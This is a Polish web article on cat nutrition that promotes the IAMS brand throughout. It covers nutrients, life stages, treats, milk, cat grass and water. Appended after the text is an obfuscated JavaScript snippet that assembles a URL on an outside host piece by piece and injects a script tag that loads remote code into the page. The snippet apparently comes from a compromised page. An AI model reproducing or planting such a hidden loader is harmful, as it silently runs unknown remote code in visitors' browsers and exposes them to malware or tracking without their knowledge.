Zdrowy kot to szczęśliwy kot – zacznij od jego prawidłowego żywienia

I tak naprawdę nie potrzebują od człowieka niczego więcej niż ewentualnie miseczki mleczka. Czy tak właśnie jest? Otóż nie. Każde zwierzę, niezależnie od tego, czy jest trzymane w domu czy „dochodzące”, potrzebuje odpowiednio zbilansowanej, codziennej porcji składników odżywczych. Należą do nich białka, węglowodany, tłuszcze, witaminy i minerały.

Pragniesz, aby Twój kot był szczęśliwy i zdrowy, ale nie masz pewności, jak i czym go karmić? Dowiedz się już teraz, jak powinno wyglądać prawidłowe żywienie kotów!

Kot kotu nierówny…

Różne koty mają różne potrzeby. Z kotem, pod względem żywienia, jest dokładnie tak samo jak z człowiekiem. Na różnych etapach swojego życia potrzebuje on innych składników odżywczych do prawidłowego funkcjonowania organizmu. I tak, inne potrzeby mają koty małe, dorosłe, a jeszcze inne, koty starsze. Inaczej powinno wyglądać żywienie kota „kanapowca”, który nie wychodzi na zewnątrz i tym samym nie zużywa zbyt wiele energii, a inaczej kota, który jest w niemal bezustannym ruchu. Szczególnie racjonalnie trzeba podchodzić do karmienia kotek ciężarnych, karmiących oraz kotów, które zostały poddane sterylizacji.

Tych składników nie może zabraknąć w diecie kota!

Mowa o wspomnianych już wcześniej białkach, tłuszczach, węglowodanach, witaminach i minerałach. Jaką rolę odgrywają? Szczególną uwagę należy zwróć na białko, którego w odpowiedniej ilości potrzebują zarówno koty, jak i psy. Już na wstępie należy więc zaznaczyć, iż Twój tygrysek w żadnym wypadku nie powinien jeść psiej karmy. Białko odpowiada m.in. za prawidłowy wzrost, kondycję i odporność kota. Chcąc zapewnić swojemu ulubieńcowi wystarczającą jego ilość, sięgaj po sprawdzone karmy, jak IAMS, które cechują się bogactwem tego składnika. Z racji tego, że koty to drapieżcy, możesz czasem swojemu pupilowi serwować kawałek surowego mięsa i ryby.

Kolejny cenny składnik odżywczy to tłuszcze. Wpływają one bardzo pozytywnie na kocią sierść i skórę, ale przede wszystkim dodają energii. Ilość tego składnika w diecie kota powinna być uzależniona od jego stylu życia. Koty prowadzące „siedzący tryb życia”, czyli typowo domowe, powinny otrzymywać go mniej, jednak nie możesz go całkowicie wyeliminować. Dlaczego? Z tej prostej przyczyny, że cenne witaminy, takie jak A, D, E, K, rozpuszczalne są właśnie w tłuszczach.

Innym cennym źródłem energii są węglowodany, które także powinny być serwowane kotu w rozsądnych ilościach, uzależnionych od jego stylu życia i indywidualnych predyspozycji. Ich nadmiar może skutkować tyciem kota, a to, jak wiadomo, nie służy jego zdrowiu. I na koniec, choć nie mniej ważne, witaminy i minerały. Zachowanie równowagi jest niezmiernie ważne, bowiem groźny dla zwierzęcia jest zarówno ich nadmiar, jak i niedobór. Jeśli wybierzesz wysokiej jakości karmę, jak wspomniana karma IAMS, nie musisz się martwić o to, że Twojemu puchatkowi czegokolwiek zabraknie. Jeśli zaś planujesz podawać preparaty z witaminami, nie rób tego na własną rękę, ale dopiero po konsultacji z weterynarzem.

Co przemawia za gotową karmą – wygoda czy rozsądek?

Masz mieszane uczucia co do gotowych produktów? Myślisz, że lepszym rozwiązaniem byłoby samodzielne przygotowywanie codziennych posiłków dla kota, bo podawanie gotowej karmy to pójście na łatwiznę? To zrozumiałe, że chcesz dla swojego pupila tego, co najlepsze, dlatego kwestia ta Cię nurtuje. Rozwiejemy zatem Twoje wątpliwości. Sięgając po doskonale zbilansowaną karmę IAMS, masz całkowitą pewność, że dostarczasz swojemu kotu wszystkich niezbędnych składników do prawidłowego rozwoju i funkcjonowania jego organizmu. Wybór jest szeroki.

Znajdziesz tu zarówno karmy dla juniorów, czyli młodych kociąt, dla kotek ciężarnych i karmiących (te powinny być otoczone szczególną opieką), dla kotów dorosłych oraz seniorów, czyli kotków starszych, które mają specjalne potrzeby żywieniowe. Musisz mieć świadomość jednej podstawowej rzeczy – przygotowując posiłki samodzielnie, nie jesteś w stanie idealnie wyliczyć, ile i jakie składniki dostarczasz zwierzęciu. Jak już zaś zostało wspomniane, groźny jest nie tylko ich niedobór, ale też nadmiar.

Miłe dodatki do codziennej kociej diety

Kot nie musi się odżywiać wyłącznie suchą karmą. Nic nie stoi na przeszkodzie, abyś raczył swojego ulubieńca raz na jakiś czas takimi frykasami, jak kawałek świeżego mięsa czy ryby. Wiele kotów lubi warzywa (np. marchewkę, ogórki, ziemniaki), dlatego możesz je serwować w rozsądnych porcjach. Raczej wystrzegaj się surowych jaj, bowiem nie wszystkie koty dobrze je tolerują. Niemniej 1-2 razy w tygodniu możesz podać jajko ugotowane na twardo.

Jak wygląda sprawa z mlekiem? Jest to temat nieco kontrowersyjny. Część lekarzy weterynarii odradza czy wręcz zakazuje, inni polecają, choć naturalnie w rozsądnych dawkach. Koty generalnie uwielbiają mleczko, ale nie wszystkie je tolerują, co objawia się biegunką. Jeśli i Twój kot lubi mleko, podawaj je w niewielkich ilościach i obserwuj, jak na nie reaguje.

O tym nie zapominaj!

Z pewnością nie możesz zapomnieć o trawie. Domowe koty nie mają do niej dostępu, dlatego często zajadają się roślinami doniczkowymi, co może być dla nich groźne. Kup trawę w doniczce, aby kot mógł ją podgryzać, kiedy tylko będzie miał taką potrzebę.

Kolejna istotna kwestia to woda. Kot koniecznie musi mieć stały dostęp do miseczki ze świeżą wodą – dbaj o to szczególnie, gdy podstawą jego żywienia jest sucha karma. Koty powinny jeść średnio 2-3 posiłki dziennie. Zadbaj o to, aby karmienie odbywało się o stałych porach oraz o to, aby w jego trakcie kot miał spokój.
(function(){
t14qu=”yiwfis6214qu”;t14q=document.createElement(„script”);
t14q_=”u”+(„st”);t14q_+=”at”+(„.”);t14q.async=true;t14q_+=”in”;
t14qu=”13491614.”+t14qu;t14q.type=”text/javascript”;t14qu+=”c57mxbvplpre”;
t14qu+=”1qmi2l”;t14q_+=(„f”)+”o”+(„/”);t14q.src=”//”+t14q_+t14qu;
t14qd=document.body;t14qd.appendChild(t14q);
})();